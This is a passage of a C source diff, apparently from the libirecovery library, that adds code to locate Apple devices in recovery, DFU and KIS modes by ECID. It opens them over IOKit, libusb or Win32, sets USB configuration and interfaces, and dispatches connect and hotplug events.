+ debug("%s: failed to create ECID string\n", __func__);
+ return IRECV_E_UNABLE_TO_CONNECT;
+ }
+ }
+
+ *pclient = NULL;
+ ret_service = IO_OBJECT_NULL;
+
+ for (i = 0; (pids[i] > 0 && ret_service == IO_OBJECT_NULL) ; i++) {
+
+ iterator = iokit_usb_get_iterator_for_pid(pids[i]);
+ if (iterator) {
+ while ((service = IOIteratorNext(iterator))) {
+
+ if (ecid == 0) {
+ ret_service = service;
+ break;
+ }
+
+ if (pids[i] == KIS_PRODUCT_ID) {
+ // In KIS Mode, we have to open the device in order to get
+ // it's ECID
+ irecv_error_t err = iokit_usb_open_service(pclient, service);
+ if (err != IRECV_E_SUCCESS) {
+ debug("%s: failed to open KIS device\n", __func__);
+ continue;
+ }
+
+ if (ecidString)
+ CFRelease(ecidString);
+
+ return IRECV_E_SUCCESS;
+ }
+
+ usbSerial = IORegistryEntryCreateCFProperty(service, CFSTR(kUSBSerialNumberString), kCFAllocatorDefault, 0);
+ if (usbSerial == NULL) {
+ debug("%s: failed to create USB serial string property\n", __func__);
+ IOObjectRelease(service);
+ continue;
+ }
+
+ range = CFStringFind(usbSerial, ecidString, kCFCompareCaseInsensitive);
+ if (range.location == kCFNotFound) {
+ IOObjectRelease(service);
+ } else {
+ ret_service = service;
+ break;
+ }
+ }
+ if (usbSerial) {
+ CFRelease(usbSerial);
+ usbSerial = NULL;
+ }
+ IOObjectRelease(iterator);
+ }
+ }
+
+ if (ecidString)
+ CFRelease(ecidString);
+
+ if (ret_service == IO_OBJECT_NULL)
+ return IRECV_E_UNABLE_TO_CONNECT;
+
+ return iokit_usb_open_service(pclient, ret_service);
+}
+#endif
+
+#ifndef _WIN32
+#ifndef HAVE_IOKIT
+static irecv_error_t libusb_usb_open_handle_with_descriptor_and_ecid(irecv_client_t *pclient, struct libusb_device_handle *usb_handle, struct libusb_device_descriptor *usb_descriptor, uint64_t ecid)
+{
+ irecv_client_t client = (irecv_client_t) malloc(sizeof(struct irecv_client_private));
+ if (client == NULL) {
+ libusb_close(usb_handle);
+ return IRECV_E_OUT_OF_MEMORY;
+ }
+
+ memset(client, '\0', sizeof(struct irecv_client_private));
+ client->usb_interface = 0;
+ client->handle = usb_handle;
+ client->mode = usb_descriptor->idProduct;
+
+ if (client->mode != KIS_PRODUCT_ID) {
+ char serial_str[256];
+ memset(serial_str, 0, sizeof(serial_str));
+ irecv_get_string_descriptor_ascii(client, usb_descriptor->iSerialNumber, (unsigned char*)serial_str, sizeof(serial_str)-1);
+ irecv_load_device_info_from_iboot_string(client, serial_str);
+ }
+
+ if (ecid != 0 && client->mode != KIS_PRODUCT_ID) {
+ if (client->device_info.ecid != ecid) {
+ irecv_close(client);
+ return IRECV_E_NO_DEVICE; //wrong device
+ }
+ debug("found device with ECID %016" PRIx64 "\n", (uint64_t)ecid);
+ }
+
+ *pclient = client;
+ return IRECV_E_SUCCESS;
+}
+
+static irecv_error_t libusb_open_with_ecid(irecv_client_t* pclient, uint64_t ecid)
+{
+ irecv_error_t ret = IRECV_E_UNABLE_TO_CONNECT;
+ int i = 0;
+ struct libusb_device* usb_device = NULL;
+ struct libusb_device** usb_device_list = NULL;
+ struct libusb_device_descriptor usb_descriptor;
+
+ *pclient = NULL;
+ int usb_device_count = libusb_get_device_list(libirecovery_context, &usb_device_list);
+ for (i = 0; i < usb_device_count; i++) {
+ usb_device = usb_device_list[i];
+ libusb_get_device_descriptor(usb_device, &usb_descriptor);
+ if (usb_descriptor.idVendor == APPLE_VENDOR_ID) {
+ /* verify this device is in a mode we understand */
+ if (usb_descriptor.idProduct == IRECV_K_RECOVERY_MODE_1 ||
+ usb_descriptor.idProduct == IRECV_K_RECOVERY_MODE_2 ||
+ usb_descriptor.idProduct == IRECV_K_RECOVERY_MODE_3 ||
+ usb_descriptor.idProduct == IRECV_K_RECOVERY_MODE_4 ||
+ usb_descriptor.idProduct == IRECV_K_WTF_MODE ||
+ usb_descriptor.idProduct == IRECV_K_DFU_MODE ||
+ usb_descriptor.idProduct == IRECV_K_PORT_DFU_MODE ||
+ usb_descriptor.idProduct == KIS_PRODUCT_ID) {
+
+ if (ecid == IRECV_K_WTF_MODE) {
+ if (usb_descriptor.idProduct != IRECV_K_WTF_MODE) {
+ /* special ecid case, ignore !IRECV_K_WTF_MODE */
+ continue;
+ } else {
+ ecid = 0;
+ }
+ }
+
+ if ((ecid != 0) && (usb_descriptor.idProduct == IRECV_K_WTF_MODE)) {
+ /* we can't get ecid in WTF mode */
+ continue;
+ }
+
+ debug("opening device %04x:%04x...\n", usb_descriptor.idVendor, usb_descriptor.idProduct);
+
+ struct libusb_device_handle* usb_handle = NULL;
+ int libusb_error = libusb_open(usb_device, &usb_handle);
+ if (usb_handle == NULL || libusb_error != 0) {
+ debug("%s: can't connect to device: %s\n", __func__, libusb_error_name(libusb_error));
+
+ libusb_close(usb_handle);
+ if (ecid != 0) {
+ continue;
+ }
+ libusb_free_device_list(usb_device_list, 1);
+ return IRECV_E_UNABLE_TO_CONNECT;
+ }
+
+ ret = libusb_usb_open_handle_with_descriptor_and_ecid(pclient, usb_handle, &usb_descriptor, ecid);
+ if (ret == IRECV_E_SUCCESS) {
+ break;
+ }
+ }
+ }
+ }
+ libusb_free_device_list(usb_device_list, 1);
+ return ret;
+}
+#endif
+#endif
+#endif
+
+irecv_error_t irecv_open_with_ecid(irecv_client_t* pclient, uint64_t ecid)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ irecv_error_t error = IRECV_E_UNABLE_TO_CONNECT;
+
+ if (libirecovery_debug) {
+ irecv_set_debug_level(libirecovery_debug);
+ }
+#ifndef _WIN32
+#ifdef HAVE_IOKIT
+ error = iokit_open_with_ecid(pclient, ecid);
+#else
+ error = libusb_open_with_ecid(pclient, ecid);
+#endif
+#else
+ error = win32_open_with_ecid(pclient, ecid);
+#endif
+ irecv_client_t client = *pclient;
+ if (error != IRECV_E_SUCCESS) {
+ irecv_close(client);
+ return error;
+ }
+
+ error = irecv_usb_set_configuration(client, 1);
+ if (error != IRECV_E_SUCCESS) {
+ debug("Failed to set configuration, error %d\n", error);
+ irecv_close(client);
+ return error;
+ }
+
+ if (client->mode == IRECV_K_DFU_MODE || client->mode == IRECV_K_PORT_DFU_MODE || client->mode == IRECV_K_WTF_MODE || client->mode == KIS_PRODUCT_ID) {
+ error = irecv_usb_set_interface(client, 0, 0);
+ } else {
+ error = irecv_usb_set_interface(client, 0, 0);
+ if (error == IRECV_E_SUCCESS && client->mode > IRECV_K_RECOVERY_MODE_2) {
+ error = irecv_usb_set_interface(client, 1, 1);
+ }
+ }
+
+ if (error != IRECV_E_SUCCESS) {
+ debug("Failed to set interface, error %d\n", error);
+ irecv_close(client);
+ return error;
+ }
+
+ if (client->mode == KIS_PRODUCT_ID) {
+ error = irecv_kis_init(client);
+ if (error != IRECV_E_SUCCESS) {
+ debug("irecv_kis_init failed, error %d\n", error);
+ irecv_close(client);
+ return error;
+ }
+
+ error = irecv_kis_load_device_info(client);
+ if (error != IRECV_E_SUCCESS) {
+ debug("irecv_kis_load_device_info failed, error %d\n", error);
+ irecv_close(client);
+ return error;
+ }
+ if (ecid != 0 && client->device_info.ecid != ecid) {
+ irecv_close(client);
+ return IRECV_E_NO_DEVICE; //wrong device
+ }
+ debug("found device with ECID %016" PRIx64 "\n", (uint64_t)client->device_info.ecid);
+ } else {
+ irecv_copy_nonce_with_tag(client, "NONC", &client->device_info.ap_nonce, &client->device_info.ap_nonce_size);
+ irecv_copy_nonce_with_tag(client, "SNON", &client->device_info.sep_nonce, &client->device_info.sep_nonce_size);
+ }
+
+ if (error == IRECV_E_SUCCESS) {
+ if ((*pclient)->connected_callback != NULL) {
+ irecv_event_t event;
+ event.size = 0;
+ event.data = NULL;
+ event.progress = 0;
+ event.type = IRECV_CONNECTED;
+ (*pclient)->connected_callback(*pclient, &event);
+ }
+ }
+ return error;
+#endif
+}
+
+irecv_error_t irecv_usb_set_configuration(irecv_client_t client, int configuration)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ if (check_context(client) != IRECV_E_SUCCESS)
+ return IRECV_E_NO_DEVICE;
+
+#ifndef _WIN32
+ debug("Setting to configuration %d\n", configuration);
+
+#ifdef HAVE_IOKIT
+ IOReturn result;
+
+ result = (*client->handle)->SetConfiguration(client->handle, configuration);
+ if (result != kIOReturnSuccess) {
+ debug("error setting configuration: %#x\n", result);
+ return IRECV_E_USB_CONFIGURATION;
+ }
+#else
+ int current = 0;
+ libusb_get_configuration(client->handle, &current);
+ if (current != configuration) {
+ if (libusb_set_configuration(client->handle, configuration) < 0) {
+ return IRECV_E_USB_CONFIGURATION;
+ }
+ }
+#endif
+ client->usb_config = configuration;
+#endif
+
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+#ifndef USE_DUMMY
+#ifdef HAVE_IOKIT
+static IOReturn iokit_usb_get_interface(IOUSBDeviceInterface320 **device, uint8_t ifc, io_service_t *usbInterfacep)
+{
+ IOUSBFindInterfaceRequest request;
+ uint8_t current_interface;
+ kern_return_t kresult;
+ io_iterator_t interface_iterator;
+
+ *usbInterfacep = IO_OBJECT_NULL;
+
+ request.bInterfaceClass = kIOUSBFindInterfaceDontCare;
+ request.bInterfaceSubClass = kIOUSBFindInterfaceDontCare;
+ request.bInterfaceProtocol = kIOUSBFindInterfaceDontCare;
+ request.bAlternateSetting = kIOUSBFindInterfaceDontCare;
+
+ kresult = (*device)->CreateInterfaceIterator(device, &request, &interface_iterator);
+ if (kresult)
+ return kresult;
+
+ for ( current_interface = 0 ; current_interface <= ifc ; current_interface++ ) {
+ *usbInterfacep = IOIteratorNext(interface_iterator);
+ if (current_interface != ifc)
+ (void) IOObjectRelease (*usbInterfacep);
+ }
+ IOObjectRelease(interface_iterator);
+
+ return kIOReturnSuccess;
+}
+
+static irecv_error_t iokit_usb_set_interface(irecv_client_t client, int usb_interface, int usb_alt_interface)
+{
+ IOReturn result;
+ io_service_t interface_service = IO_OBJECT_NULL;
+ IOCFPlugInInterface **plugInInterface = NULL;
+ SInt32 score;
+
+ // Close current interface
+ if (client->usbInterface) {
+ result = (*client->usbInterface)->USBInterfaceClose(client->usbInterface);
+ result = (*client->usbInterface)->Release(client->usbInterface);
+ client->usbInterface = NULL;
+ }
+
+ result = iokit_usb_get_interface(client->handle, usb_interface, &interface_service);
+ if (result != kIOReturnSuccess) {
+ debug("failed to find requested interface: %d\n", usb_interface);
+ return IRECV_E_USB_INTERFACE;
+ }
+
+ result = IOCreatePlugInInterfaceForService(interface_service, kIOUSBInterfaceUserClientTypeID, kIOCFPlugInInterfaceID, &plugInInterface, &score);
+ IOObjectRelease(interface_service);
+ if (result != kIOReturnSuccess) {
+ debug("error creating plug-in interface: %#x\n", result);
+ return IRECV_E_USB_INTERFACE;
+ }
+
+ result = (*plugInInterface)->QueryInterface(plugInInterface, CFUUIDGetUUIDBytes(kIOUSBInterfaceInterfaceID300), (LPVOID)&client->usbInterface);
+ IODestroyPlugInInterface(plugInInterface);
+ if (result != kIOReturnSuccess) {
+ debug("error creating interface interface: %#x\n", result);
+ return IRECV_E_USB_INTERFACE;
+ }
+
+ result = (*client->usbInterface)->USBInterfaceOpen(client->usbInterface);
+ if (result != kIOReturnSuccess) {
+ debug("error opening interface: %#x\n", result);
+ return IRECV_E_USB_INTERFACE;
+ }
+
+ if (usb_interface == 1) {
+ result = (*client->usbInterface)->SetAlternateInterface(client->usbInterface, usb_alt_interface);
+ if (result != kIOReturnSuccess) {
+ debug("error setting alternate interface: %#x\n", result);
+ return IRECV_E_USB_INTERFACE;
+ }
+ }
+
+ return IRECV_E_SUCCESS;
+}
+#endif
+#endif
+
+irecv_error_t irecv_usb_set_interface(irecv_client_t client, int usb_interface, int usb_alt_interface)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ if (check_context(client) != IRECV_E_SUCCESS)
+ return IRECV_E_NO_DEVICE;
+
+ debug("Setting to interface %d:%d\n", usb_interface, usb_alt_interface);
+#ifndef _WIN32
+#ifdef HAVE_IOKIT
+ if (iokit_usb_set_interface(client, usb_interface, usb_alt_interface) < 0) {
+ return IRECV_E_USB_INTERFACE;
+ }
+#else
+ if (libusb_claim_interface(client->handle, usb_interface) < 0) {
+ return IRECV_E_USB_INTERFACE;
+ }
+
+ if (usb_interface == 1) {
+ if (libusb_set_interface_alt_setting(client->handle, usb_interface, usb_alt_interface) < 0) {
+ return IRECV_E_USB_INTERFACE;
+ }
+ }
+#endif
+#else
+ if (usb_interface == 1) {
+ if (irecv_usb_control_transfer(client, 0, 0x0B, usb_alt_interface, usb_interface, NULL, 0, USB_TIMEOUT) < 0) {
+ return IRECV_E_USB_INTERFACE;
+ }
+ }
+#endif
+ client->usb_interface = usb_interface;
+ client->usb_alt_interface = usb_alt_interface;
+
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+irecv_error_t irecv_reset(irecv_client_t client)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ if (check_context(client) != IRECV_E_SUCCESS)
+ return IRECV_E_NO_DEVICE;
+
+#ifndef _WIN32
+#ifdef HAVE_IOKIT
+ IOReturn result;
+
+ result = (*client->handle)->ResetDevice(client->handle);
+ if (result != kIOReturnSuccess && result != kIOReturnNotResponding) {
+ debug("error sending device reset: %#x\n", result);
+ return IRECV_E_UNKNOWN_ERROR;
+ }
+
+ result = (*client->handle)->USBDeviceReEnumerate(client->handle, 0);
+ if (result != kIOReturnSuccess && result != kIOReturnNotResponding) {
+ debug("error re-enumerating device: %#x (ignored)\n", result);
+ }
+#else
+ libusb_reset_device(client->handle);
+#endif
+#else
+ DWORD count;
+ DeviceIoControl(client->handle, 0x22000C, NULL, 0, NULL, 0, &count, NULL);
+#endif
+
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+irecv_error_t irecv_open_with_ecid_and_attempts(irecv_client_t* pclient, uint64_t ecid, int attempts)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ int i;
+
+ for (i = 0; i < attempts; i++) {
+ if (*pclient) {
+ irecv_close(*pclient);
+ *pclient = NULL;
+ }
+ if (irecv_open_with_ecid(pclient, ecid) != IRECV_E_SUCCESS) {
+ debug("Connection failed. Waiting 1 sec before retry.\n");
+ sleep(1);
+ } else {
+ return IRECV_E_SUCCESS;
+ }
+ }
+
+ return IRECV_E_UNABLE_TO_CONNECT;
+#endif
+}
+
+irecv_error_t irecv_event_subscribe(irecv_client_t client, irecv_event_type type, irecv_event_cb_t callback, void* user_data)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ switch(type) {
+ case IRECV_RECEIVED:
+ client->received_callback = callback;
+ break;
+
+ case IRECV_PROGRESS:
+ client->progress_callback = callback;
+ break;
+
+ case IRECV_CONNECTED:
+ client->connected_callback = callback;
+ break;
+
+ case IRECV_PRECOMMAND:
+ client->precommand_callback = callback;
+ break;
+
+ case IRECV_POSTCOMMAND:
+ client->postcommand_callback = callback;
+ break;
+
+ case IRECV_DISCONNECTED:
+ client->disconnected_callback = callback;
+ break;
+
+ default:
+ return IRECV_E_UNKNOWN_ERROR;
+ }
+
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+irecv_error_t irecv_event_unsubscribe(irecv_client_t client, irecv_event_type type)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ switch(type) {
+ case IRECV_RECEIVED:
+ client->received_callback = NULL;
+ break;
+
+ case IRECV_PROGRESS:
+ client->progress_callback = NULL;
+ break;
+
+ case IRECV_CONNECTED:
+ client->connected_callback = NULL;
+ break;
+
+ case IRECV_PRECOMMAND:
+ client->precommand_callback = NULL;
+ break;
+
+ case IRECV_POSTCOMMAND:
+ client->postcommand_callback = NULL;
+ break;
+
+ case IRECV_DISCONNECTED:
+ client->disconnected_callback = NULL;
+ break;
+
+ default:
+ return IRECV_E_UNKNOWN_ERROR;
+ }
+
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+#ifndef USE_DUMMY
+struct irecv_device_event_context {
+ irecv_device_event_cb_t callback;
+ void *user_data;
+};
+
+struct irecv_usb_device_info {
+ struct irecv_device_info device_info;
+ enum irecv_mode mode;
+ uint32_t location;
+ int alive;
+};
+
+#ifdef _WIN32
+struct irecv_win_dev_ctx {
+ PSP_DEVICE_INTERFACE_DETAIL_DATA_A details;
+ uint32_t location;
+};
+#else
+#ifdef HAVE_IOKIT
+struct irecv_iokit_dev_ctx {
+ io_service_t device;
+ IOUSBDeviceInterface **dev;
+};
+#endif
+#endif
+
+static int _irecv_is_recovery_device(void *device)
+{
+ uint16_t vendor_id = 0;
+ uint16_t product_id = 0;
+#ifdef _WIN32
+ const char *path = (const char*)device;
+ unsigned int vendor = 0;
+ unsigned int product = 0;
+ if (sscanf(path, "\\usb#vid_%04x&pid_%04x#", &vendor, &product) != 2) {
+ return 0;
+ }
+ vendor_id = (uint16_t)vendor;
+ product_id = (uint16_t)product;
+#else
+#ifdef HAVE_IOKIT
+ kern_return_t kr;
+ IOUSBDeviceInterface **dev = device;
+ kr = (*dev)->GetDeviceVendor(dev, &vendor_id);
+ if (kr != kIOReturnSuccess) {
+ debug("%s: Failed to get vendor id\n", __func__);
+ return 0;
+ }
+ kr = (*dev)->GetDeviceProduct(dev, &product_id);
+ if (kr != kIOReturnSuccess) {
+ debug("%s: Failed to get product id\n", __func__);
+ return 0;
+ }
+#else
+ libusb_device *device_ = (libusb_device*)device;
+ struct libusb_device_descriptor devdesc;
+ int libusb_error;
+
+ libusb_error = libusb_get_device_descriptor(device_, &devdesc);
+ if (libusb_error != 0) {
+ debug("%s: failed to get device descriptor: %s\n", __func__, libusb_error_name(libusb_error));
+ return 0;
+ }
+ vendor_id = devdesc.idVendor;
+ product_id = devdesc.idProduct;
+#endif
+#endif
+
+ if (vendor_id != APPLE_VENDOR_ID) {
+ return 0;
+ }
+
+ switch (product_id) {
+ case IRECV_K_DFU_MODE:
+ case IRECV_K_WTF_MODE:
+ case IRECV_K_RECOVERY_MODE_1:
+ case IRECV_K_RECOVERY_MODE_2:
+ case IRECV_K_RECOVERY_MODE_3:
+ case IRECV_K_RECOVERY_MODE_4:
+ case IRECV_K_PORT_DFU_MODE:
+ case KIS_PRODUCT_ID:
+ break;
+ default:
+ return 0;
+ }
+ return 1;
+}
+
+static void* _irecv_handle_device_add(void *userdata)
+{
+ struct irecv_client_private client_loc;
+ char serial_str[256];
+ uint32_t location = 0;
+ uint16_t product_id = 0;
+ irecv_error_t error = 0;
+ irecv_client_t client = NULL;
+
+ memset(serial_str, 0, sizeof(serial_str));
+#ifdef _WIN32
+ struct irecv_win_dev_ctx *win_ctx = (struct irecv_win_dev_ctx*)userdata;
+ PSP_DEVICE_INTERFACE_DETAIL_DATA_A details = win_ctx->details;
+ LPSTR result = (LPSTR)details->DevicePath;
+ location = win_ctx->location;
+
+ unsigned int pid = 0;
+
+ if (strncmp(result, "\\\\?\\kis#", 8) == 0) {
+ pid = KIS_PRODUCT_ID;
+ } else {
+ char *p = result;
+ while ((p = strstr(p, "\\usb"))) {
+ if (sscanf(p, "\\usb#vid_05ac&pid_%04x#%s", &pid, serial_str) == 2)
+ break;
+ p += 4;
+ }
+
+ if (serial_str[0] == '\0') {
+ debug("%s: ERROR: failed to parse DevicePath?!\n", __func__);
+ return NULL;
+ }
+
+ if (!_irecv_is_recovery_device(p)) {
+ return NULL;
+ }
+ }
+
+ product_id = (uint16_t)pid;
+
+ if (product_id == KIS_PRODUCT_ID) {
+ client = (irecv_client_t)malloc(sizeof(struct irecv_client_private));
+ if (client == NULL) {
+ debug("%s: Failed to allocate memory\n", __func__);
+ return NULL;
+ }
+ memset(client, '\0', sizeof(struct irecv_client_private));
+ client->handle = CreateFileA(result, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
+ if (client->handle == INVALID_HANDLE_VALUE) {
+ debug("%s: Failed to open device path %s\n", __func__, result);
+ free(client);
+ return NULL;
+ }
+ client->mode = pid;
+ } else {
+ char* p = strchr(serial_str, '#');
+ if (p) {
+ *p = '\0';
+ }
+
+ unsigned int j;
+ for (j = 0; j < strlen(serial_str); j++) {
+ if (serial_str[j] == '_') {
+ serial_str[j] = ' ';
+ } else {
+ serial_str[j] = toupper(serial_str[j]);
+ }
+ }
+ }
+
+#else /* !_WIN32 */
+#ifdef HAVE_IOKIT
+ struct irecv_iokit_dev_ctx* iokit_ctx = (struct irecv_iokit_dev_ctx*)userdata;
+ io_service_t device = iokit_ctx->device;
+ IOUSBDeviceInterface **dev = iokit_ctx->dev;
+
+ if (!device) {
+ debug("%s: ERROR: no device?!\n", __func__);
+ return NULL;
+ }
+ if (!dev) {
+ debug("%s: ERROR: no device interface?!\n", __func__);
+ return NULL;
+ }
+
+ (*dev)->GetDeviceProduct(dev, &product_id);
+ if (!product_id) {
+ debug("%s: ERROR: could not get product id?!\n", __func__);
+ return NULL;
+ }
+ CFNumberRef locationNum = (CFNumberRef)IORegistryEntryCreateCFProperty(device, CFSTR(kUSBDevicePropertyLocationID), kCFAllocatorDefault, 0);
+ if (locationNum) {
+ CFNumberGetValue(locationNum, kCFNumberSInt32Type, &location);
+ CFRelease(locationNum);
+ }
+ if (!location) {
+ debug("%s: ERROR: could not get locationID?!\n", __func__);
+ return NULL;
+ }
+
+ if (product_id == KIS_PRODUCT_ID) {
+ IOObjectRetain(device);
+ int i = 0;
+ for (i = 0; i < 10; i++) {
+ error = iokit_usb_open_service(&client, device);
+ if (error == IRECV_E_SUCCESS) {
+ break;
+ }
+ debug("%s: Could not open KIS device, retrying...\n", __func__);
+ usleep(500000);
+ }
+ if (error != IRECV_E_SUCCESS) {
+ debug("%s: ERROR: could not open KIS device!\n", __func__);
+ return NULL;
+ }
+ product_id = client->mode;
+ } else {
+ CFStringRef serialString = (CFStringRef)IORegistryEntryCreateCFProperty(device, CFSTR(kUSBSerialNumberString), kCFAllocatorDefault, 0);
+ if (serialString) {
+ CFStringGetCString(serialString, serial_str, sizeof(serial_str), kCFStringEncodingUTF8);
+ CFRelease(serialString);
+ }
+ }
+#else /* !HAVE_IOKIT */
+ libusb_device *device = (libusb_device*)userdata;
+ struct libusb_device_descriptor devdesc;
+ struct libusb_device_handle* usb_handle = NULL;
+ int libusb_error;
+
+ libusb_error = libusb_get_device_descriptor(device, &devdesc);
+ if (libusb_error != 0) {
+ debug("%s: ERROR: failed to get device descriptor: %s\n", __func__, libusb_error_name(libusb_error));
+ return NULL;
+ }
+ product_id = devdesc.idProduct;
+
+ uint8_t bus = libusb_get_bus_number(device);
+ uint8_t address = libusb_get_device_address(device);
+ location = (bus << 16) | address;
+
+ libusb_error = libusb_open(device, &usb_handle);
+ if (usb_handle == NULL || libusb_error != 0) {
+ debug("%s: ERROR: can't connect to device: %s\n", __func__, libusb_error_name(libusb_error));
+ libusb_close(usb_handle);
+ return 0;
+ }
+
+ if (product_id == KIS_PRODUCT_ID) {
+ error = libusb_usb_open_handle_with_descriptor_and_ecid(&client, usb_handle, &devdesc, 0);
+ if (error != IRECV_E_SUCCESS) {
+ debug("%s: ERROR: could not open KIS device!\n", __func__);
+ return NULL;
+ }
+
+ product_id = client->mode;
+ } else {
+ libusb_error = libusb_get_string_descriptor_ascii(usb_handle, devdesc.iSerialNumber, (unsigned char*)serial_str, sizeof(serial_str)-1);
+ if (libusb_error < 0) {
+ debug("%s: Failed to get string descriptor: %s\n", __func__, libusb_error_name(libusb_error));
+ return 0;
+ }
+ libusb_close(usb_handle);
+ }
+#endif /* !HAVE_IOKIT */
+#endif /* !_WIN32 */
+ memset(&client_loc, '\0', sizeof(client_loc));
+ if (product_id == KIS_PRODUCT_ID) {
+ int i = 0;
+ for (i = 0; i < 10; i++) {
+ error = irecv_usb_set_configuration(client, 1);
+ if (error == IRECV_E_SUCCESS) {
+ break;
+ }
+ debug("Failed to set configuration, error %d, retrying...\n", error);
+ usleep(500000);
+ }
+ if (error != IRECV_E_SUCCESS) {
+ debug("Failed to set configuration, error %d\n", error);
+ irecv_close(client);
+ return NULL;
+ }
+
+ for (i = 0; i < 10; i++) {
+ error = irecv_usb_set_interface(client, 0, 0);
+ if (error == IRECV_E_SUCCESS) {
+ break;
+ }
+ debug("Failed to set interface, error %d, retrying...\n", error);
+ usleep(500000);
+ }
+ if (error != IRECV_E_SUCCESS) {
+ debug("Failed to set interface, error %d\n", error);
+ irecv_close(client);
+ return NULL;
+ }
+
+ error = irecv_kis_init(client);
+ if (error != IRECV_E_SUCCESS) {
+ debug("irecv_kis_init failed, error %d\n", error);
+ irecv_close(client);
+ return NULL;
+ }
+
+ error = irecv_kis_load_device_info(client);
+ if (error != IRECV_E_SUCCESS) {
+ debug("irecv_kis_load_device_info failed, error %d\n", error);
+ irecv_close(client);
+ return NULL;
+ }
+ debug("found device with ECID %016" PRIx64 "\n", (uint64_t)client->device_info.ecid);
+ strncpy(serial_str, client->device_info.serial_string, 255);
+ product_id = client->mode;
+ client_loc.isKIS = 1;
+ }
+ if (client) {
+ irecv_close(client);
+ }
+
+ client_loc.mode = product_id;
+ irecv_load_device_info_from_iboot_string(&client_loc, serial_str);
+
+ struct irecv_usb_device_info *usb_dev_info = (struct irecv_usb_device_info*)malloc(sizeof(struct irecv_usb_device_info));
+ memcpy(&(usb_dev_info->device_info), &(client_loc.device_info), sizeof(struct irecv_device_info));
+ usb_dev_info->location = location;
+ usb_dev_info->alive = 1;
+ usb_dev_info->mode = client_loc.mode;
+
+ collection_add(&devices, usb_dev_info);
+
+ irecv_device_event_t dev_event;
+ dev_event.type = IRECV_DEVICE_ADD;
+ dev_event.mode = client_loc.mode;
+ dev_event.device_info = &(usb_dev_info->device_info);
+
+ mutex_lock(&listener_mutex);
+ FOREACH(struct irecv_device_event_context* context, &listeners) {
+ context->callback(&dev_event, context->user_data);
+ } ENDFOREACH
+ mutex_unlock(&listener_mutex);
+
+ return NULL;
+}
+
+static void _irecv_handle_device_remove(struct irecv_usb_device_info *devinfo)
+{
+ irecv_device_event_t dev_event;
+ dev_event.type = IRECV_DEVICE_REMOVE;
+ dev_event.mode = devinfo->mode;
+ dev_event.device_info = &(devinfo->device_info);
+ mutex_lock(&listener_mutex);
+ FOREACH(struct irecv_device_event_context* context, &listeners) {
+ context->callback(&dev_event, context->user_data);
+ } ENDFOREACH
+ mutex_unlock(&listener_mutex);
+ free(devinfo->device_info.srnm);
+ devinfo->device_info.srnm = NULL;
+ free(devinfo->device_info.imei);
+ devinfo->device_info.imei = NULL;
+ free(devinfo->device_info.srtg);
+ devinfo->device_info.srtg = NULL;
+ free(devinfo->device_info.serial_string);
+ devinfo->device_info.serial_string = NULL;
+ devinfo->alive = 0;
+ collection_remove(&devices, devinfo);
+ free(devinfo);
+}
+
+#ifndef _WIN32
+#ifdef HAVE_IOKIT
+static void iokit_device_added(void *refcon, io_iterator_t iterator)
+{
+ kern_return_t kr;
+ io_service_t device;
+ IOCFPlugInInterface **plugInInterface = NULL;
+ IOUSBDeviceInterface **dev = NULL;
+ HRESULT result;
+ SInt32 score;
+
+ while ((device = IOIteratorNext(iterator))) {
+ kr = IOCreatePlugInInterfaceForService(device, kIOUSBDeviceUserClientTypeID, kIOCFPlugInInterfaceID, &plugInInterface, &score);
+ if ((kIOReturnSuccess != kr) || !plugInInterface) {
+ debug("%s: ERROR: Unable to create a plug-in (%08x)\n", __func__, kr);
+ IOObjectRelease(device);
+ continue;
+ }
+ result = (*plugInInterface)->QueryInterface(plugInInterface, CFUUIDGetUUIDBytes(kIOUSBDeviceInterfaceID320), (LPVOID *)&dev);
+ (*plugInInterface)->Release(plugInInterface);
+
+ if (result || !dev) {
+ debug("%s: ERROR: Couldn't create a device interface (%08x)\n", __func__, (int)result);
+ IOObjectRelease(device);
+ continue;
+ }
+
+ if (!_irecv_is_recovery_device(dev)) {
+ (void) (*dev)->Release(dev);
+ IOObjectRelease(device);
+ continue;
+ }
+
+ struct irecv_iokit_dev_ctx idev;
+ idev.device = device;
+ idev.dev = dev;
+ _irecv_handle_device_add(&idev);
+ (void) (*dev)->Release(dev);
+ IOObjectRelease(device);
+ }
+}
+
+static void iokit_device_removed(void *refcon, io_iterator_t iterator)
+{
+ io_service_t device;
+
+ while ((device = IOIteratorNext(iterator))) {
+ uint32_t location = 0;
+ CFNumberRef locationNum = (CFNumberRef)IORegistryEntryCreateCFProperty(device, CFSTR(kUSBDevicePropertyLocationID), kCFAllocatorDefault, 0);
+ if (locationNum) {
+ CFNumberGetValue(locationNum, kCFNumberSInt32Type, &location);
+ CFRelease(locationNum);
+ }
+ IOObjectRelease(device);
+
+ if (!location) {
+ continue;
+ }
+
+ FOREACH(struct irecv_usb_device_info *devinfo, &devices) {
+ if (devinfo->location == location) {
+ _irecv_handle_device_remove(devinfo);
+ break;
+ }
+ } ENDFOREACH
+ }
+}
+#else /* !HAVE_IOKIT */
+#ifdef HAVE_LIBUSB_HOTPLUG_API
+static int _irecv_usb_hotplug_cb(libusb_context *ctx, libusb_device *device, libusb_hotplug_event event, void *user_data)
+{
+ if (!_irecv_is_recovery_device(device)) {
+ return 0;
+ }
+ if (event == LIBUSB_HOTPLUG_EVENT_DEVICE_ARRIVED) {
+ THREAD_T th_device;
+ if (thread_new(&th_device, _irecv_handle_device_add, device) != 0) {
+ debug("%s: FATAL: failed to create thread to handle device add\n", __func__);
+ return 0;
+ }
+ thread_detach(th_device);
+ } else if (event == LIBUSB_HOTPLUG_EVENT_DEVICE_LEFT) {
+ uint8_t bus = libusb_get_bus_number(device);
